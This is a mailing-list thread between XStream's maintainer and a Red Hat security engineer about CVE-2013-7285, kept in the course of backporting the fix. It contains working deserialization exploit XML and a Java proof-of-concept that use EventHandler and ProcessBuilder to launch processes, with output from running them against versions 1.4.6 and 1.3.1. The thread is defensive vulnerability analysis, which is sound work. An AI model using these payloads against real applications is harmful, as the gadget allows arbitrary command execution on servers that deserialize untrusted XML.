Hi David, David Jorm wrote:
> On 02/14/2014 12:45 AM, Jörg Schaible wrote: >> Hi David, >> >> David Jorm wrote: >> >>>> Hello, >>>> >>>> the XStream project is pleased to announce the release of XStream >>>> 1.4.7. >>>> >>>> The release is primarily a security release to address CVE-2013-7285. >>>> XStream will no longer handle any java.bean.EventHandler instance as >>>> immediate consequence. If you know what you do, you may still register >>>> the ReflectionConverter for this type. Unless you unmarshal such >>>> objects, XStream 1.4.7 is meant as drop-in replacement. >>>> >>>> XStream contains now on top of this a security framework, where you can >>>> fine- control any type that is permitted by XStream to unmarshall. All >>>> security related aspects are described in this new documentation: >>>> >>>> http://xstream.codehaus.org/security.html >>>> >>>> Check it out yourself: >>>> >>>> http://xstream.codehaus.org/downloads.html >>>> >>>> Enjoy, >>>> XStream Committers >>> Thanks very much for shipping this release! >>> >>> I am currently working on backporting patches to older versions of >>> XStream that ship in Red Hat products. The oldest is XStream 1.3.1, and >>> I am unable to reproduce an exploit of this issue on 1.3.1. When using a >>> PoC exploit based on the details published by Dinis Cruz (I won't attach >>> it as that would only encourage usage by unskilled attackers), it works >>> against XStream 1.4.x, but not 1.3.1. I had to modify the exploit XML in >>> two ways to make it compatible with 1.3.1: >>> >>> 1) Use <tree-set> rather than <sorted-set> due to: >>> http://jira.codehaus.org/browse/XSTR-573 >>> >>> 2) Add a <no-comparator> element due to: >>> http://jira.codehaus.org/browse/XSTR-576 >>> >>> Even with these changes, instead of executing the process defined by the >>> EventHandler in the XML, I get: >>> >>> com.thoughtworks.xstream.converters.ConversionException: Cannot >>> construct java.beans.EventHandler as it does not have a no-args >>> constructor : Cannot construct java.beans.EventHandler as it does not >>> have a no-args constructor ---- Debugging information ---- >>> message : Cannot construct java.beans.EventHandler as it >>> does not have a no-args constructor >>> cause-exception : >>> com.thoughtworks.xstream.converters.reflection.ObjectAccessException >>> cause-message : Cannot construct java.beans.EventHandler as it >>> does not have a no-args constructor >>> class : java.util.TreeSet >>> required-type : java.beans.EventHandler >>> path : /tree-set/dynamic-proxy/handler >>> ------------------------------- >>> >>> This leads me to question whether XStream <= 1.3.1 is actually affected >>> by this issue. At this point, I must profess ignorance. I know very >>> little about XStream, I only really started looking at it in order to >>> address this security issue. Can any of the developers provide any >>> input? Is 1.3.1 missing a feature that is necessary to exploit this >>> issue? Or does the exploit just require further modification? >>> >>> Please feel free to reply to me directly if 1.3.1 is exploitable and you >>> don't want to publicly circulate details regarding exploitation. I will >>> handle any information given in private as strictly confidential. >> XStream 1.3.1 does nothing know about Oracle as Java vendor, so it uses >> the PureJavaReflectionProvider as fallback which requires a default >> constructor in return. Simply use an old Java 6 or directly Java 5 and >> you'll see that the exploit "works"... or provide a >> Sun14ReflectionProvider instance as constructor argument to XStream. >> >> Even 0.x versions of XStream have a DynamicProxyConverter, a >> ReflectionConverter and a Sun14ReflectionProvider and might potentially >> be affected. >> >> Cheers, >> Jörg >> > > Thanks for the insight, Jörg. Using Java 6, the exploit runs > successfully, but the EventHandler is never called. Using the following > snippet of code: > > FileReader fileReader = new FileReader("input.xml"); > Object obj = xStream.fromXML(fileReader); > System.out.println(obj.toString()); > System.out.println(xStream.toXML(obj)); > > Where input.xml contains: > > <tree-set> > <no-comparator /> > <string>foo</string> > <dynamic-proxy> > <interface>java.lang.Comparable</interface> > <handler class="java.beans.EventHandler"> > <target class="java.lang.ProcessBuilder"> > <command> > <string>/usr/bin/evince</string> > </command> > </target> > <action>start</action> > </handler> > </dynamic-proxy> > </tree-set> > > The attack works against XStream 1.4.6. The code throws an exception on > line 2, and executes /usr/bin/evince: > > com.thoughtworks.xstream.converters.ConversionException: > java.lang.UNIXProcess cannot be cast to java.lang.Integer : > java.lang.UNIXProcess cannot be cast to java.lang.Integer > ---- Debugging information ---- > message : java.lang.UNIXProcess cannot be cast to > java.lang.Integer > cause-exception : java.lang.ClassCastException > cause-message : java.lang.UNIXProcess cannot be cast to > java.lang.Integer > class : java.util.TreeSet > required-type : java.util.TreeSet > converter-type : > com.thoughtworks.xstream.converters.collections.TreeSetConverter > path : /tree-set > version : 1.4.6 > > Running against XStream 1.3.1, no exception is thrown, and the following > output is produced: > > [foo, com.sun.proxy.$Proxy0@735ed323] > <tree-set> > <no-comparator/> > <string>foo</string> > <dynamic-proxy> > <interface>java.lang.Comparable</interface> > <handler class="java.beans.EventHandler"> > <target class="java.lang.ProcessBuilder"> > <command> > <string>/usr/bin/evince</string> > </command> > <redirectErrorStream>false</redirectErrorStream> > </target> > <action>start</action> > </handler> > </dynamic-proxy> > </tree-set> > > i.e. it seems like the DynamicProxy object is successfully deserialized, > but the EventHandler is never called. Any insight into what might be > happening? Sorry again if I am missing something obvious due to my poor > knowledge of XStream. Actually the example with the tree-set should not have worked for recent 1.4.x versions also. Main reason is http://jira.codehaus.org/browse/XSTR-407 which has been part of XStream since version 1.3.0. In short: When deserializing a sorted set, XStream tries to setup the collection without any invocation of a comparator, because the items are already in sort order and calling the comparator or the item's compareTo method might have unwanted side-effects. Unfortunately there's again no official method to do so and XStream tries to fool the TreeSet (or TreeMap). However, I had some time ago another report from a user that our neat trick no longer works, but I did not found the time to investigate. Therefore the XML above does not have to cause the execution of the shell directly at deserialization time. You may give this code a try using the comparator directly for the exploit: ============================== %< ======================== public class Main { public static void pureJava() { Set set = new TreeSet((Comparator)EventHandler.create(Comparator.class, new ProcessBuilder( "gview", "/etc/fstab"), "start")); set.add("foo"); set.add("bar"); } public static void main(String[] args) { XStream xstream = new XStream(); xstream.addPermission(AnyTypePermission.ANY); xstream.registerConverter(new ReflectionConverter(xstream.getMapper(), xstream.getReflectionProvider(), EventHandler.class)); String message = "Deserialization failed"; try { Set set = (Set)xstream.fromXML( "" + "<string class='tree-set'>\n" + " <comparator class=\"dynamic-proxy\">\n" + " <interface>java.util.Comparator</interface>\n" + " <handler class='java.beans.EventHandler'>\n" + " <target class='java.lang.ProcessBuilder'>\n" + " <command>\n" + " <string>gview</string>\n" + " <string>/etc/inittab</string>\n" + " </command>\n" + " </target>\n" + " <action>start</action>\n" + " </handler>\n" + " </comparator>\n" + " <string>foo</string>\n" + " <string>bar</string>\n" + "</string>"); message = "Deserialized set.toString() failed"; System.out.println(set.toString()); message = "Deserialized set.add(baz) failed"; set.add("baz"); } catch (RuntimeException e) { System.out.println(message + ". " + e.getMessage()); } try { message = "Setup with pure Java failed"; pureJava(); } catch (RuntimeException e) { System.out.println(message + ". " + e.getMessage()); } } } ==================================== %< ============================ Cheers, Jörg --------------------------------------------------------------------- To unsubscribe from this list, please visit: http://xircles.codehaus.org/manage_email
